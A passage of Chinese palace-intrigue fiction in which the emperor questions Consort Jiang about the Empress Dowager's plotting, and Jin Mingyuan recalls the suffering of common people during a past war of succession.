而且臣妾也听云瑄说过了,晋大哥这些年一直在北疆,对明丰国那边也有了解,若真是明丰国有异动,让他回来也是件好事。” 贺江灈一时没有给确切的答案,他只是问姜妃:“关于太后还有定明侯的事,你知道多少?” “臣妾知道的,都是从安妃妹妹那里听来的,就连上次福寿宫的事,也是安妃求到臣妾头上的。 那时候正好清昭仪偷了晋姐姐的猪,臣妾看不上清昭仪,所以才动了些手脚。”姜妃对自己做过的事直言不讳,对清昭仪的厌恶也没有遮掩。 正因为她过分坦荡,才让她的话听起来更可信。 贺江灈又问:“那后来呢。” “后来臣妾就陪着晋姐姐搬出冷宫了呀,也没再与安妃接触过了,陛下要打听这些,不如直接去找安妃呢? 臣妾这段时间一直陪着晋姐姐,可没有心思去管别的,而且陛下您也知道,后宫不得干政,这规矩臣妾当然懂。”姜妃说。 相对于贺江灈,她永远会站在晋明鸢这边,那些事晋姐姐既然没有亲口告诉贺江灈,她也不会说。 贺江灈又看了姜妃片刻,也没从姜妃这里看出什么,他道:“你守好阿鸢,断不能让太后的手伸到她这里,必要的时候,朕允许你做过火的事。” “放心吧陛下,我可一直把晋姐姐当做亲姐姐,即便不用你说,我也一定会守着她的。”姜妃说。 “你们今天出宫…” “这件事臣妾不是说过了吗?就在外面逛了逛,又遇到了我爹,聊了两句,仅此而已,陛下还有什么不相信的?”姜妃说。 贺江灈虽是神色不好看,却也没有计较姜妃的失礼。 等两个人再回到妖云宫的时候,晚膳已经上了桌。 贺江灈留在这里用完了晚上才走。 晋明鸢看他一直都是眼睛不是眼睛,鼻子不是鼻子,他就算想要多待一会儿,在晋明鸢那份冷漠之下,也没有太多的理由。 而且… 在有些事没有弄清楚之前,他也不好像晋明鸢承诺什么。 贺江灈走了之后,晋明鸢就问姜妃:“他刚刚找你说什么了?” 姜妃也没有隐瞒,把贺江灈刚才说的话尽数告诉了晋明鸢,然后她才说:“晋姐姐,其实你还是在乎的吧,不然也不可能让晋大哥回京,可太后的那些事,你为什么不告诉他?” 晋明鸢说:“我让我大哥回来,可不是为了他,我只是不想看着江山动荡,百姓遭殃。 至于他贺江灈,不用我说,太后那些手段也瞒不过他,我又何必多此一举? 我做的一切都不是为了他,我只是想为百姓做点什么。 姜妹妹,六年前的时候,你没有经历过那些,我跟在赵离一路往南,太子的人,二皇子的人,还有五皇子,六皇子,他们忙着抢地盘儿,忙着争权夺位。 谁也不管百姓的死活,他们的军队所过之处,百姓苦不堪言,军粮不够了,就去百姓家里抢,没地方住了,就霸占百姓的房子,把百姓挤到破庙,挤到郊外。 那时候我们就与那些百姓混在一起,被他们驱逐追赶。 好多老弱妇孺他们跑不动了,就会被马蹄践踏,没有一个人会在意。 太子的人追杀我,我尚且自顾不暇,只能眼睁睁的看着这一切。 这样的景象,你没见过,贺江灈没见过,可我见过,我不想再看第二次了。 太后一心想要扶持宴平王,可宴平王志不在此,如果真的让太后成功了,这大权会落在谁手里?咱们都知道。 那定明侯和太后合作,也是狼子野心,他未必就甘于屈居太后之下。 还有他们联合的明丰国。 谁知道他们答应割让给明丰国多少土地权利? 太子和先帝的几个皇子,尚且不顾百姓的死活,等明丰国大军真的入境,又怎么可能善待百姓? 不管我和贺江灈什么样,这江山绝不能出问题。 等到一切安定了,我可以远走高飞,但现在不能。” 晋明鸢的声音无比冷静,姜妃很少听到她这样郑重其事的态度。 只听她之前的那些回忆。 姜妃就控制不住双眼发黑,浑身发抖,好像能看到满目疮痍,遍地鲜血。 好像能听到哒哒的马蹄声,听到遍野的哀嚎声。 就连晋明鸢恢复记忆之后,也很少提她那段时间的遭遇,姜妃现在是知道了,她不是不想提,是不敢提。 姜妃安抚的抱住了晋明鸢:“晋姐姐,不管你想做什么,都有我陪着你,六年前的事,绝对不会发生第二次的。 反正我这辈子跟定晋姐姐了,晋姐姐留下,我就留下,晋姐姐要走,我也走。” 晋明鸢笑笑,她道:“青雉,明天去见见安妃吧,关于郑书骏,她或许会知道什么。” 听安妃的意思,一直都想与她的情郎远走高飞,现在郑书骏人被调回来,晋明鸢隐约感觉,或许也和安妃有关。 但没有等她们去找安妃,当天夜里,就传来了贺江灈去了泠竹苑的消息。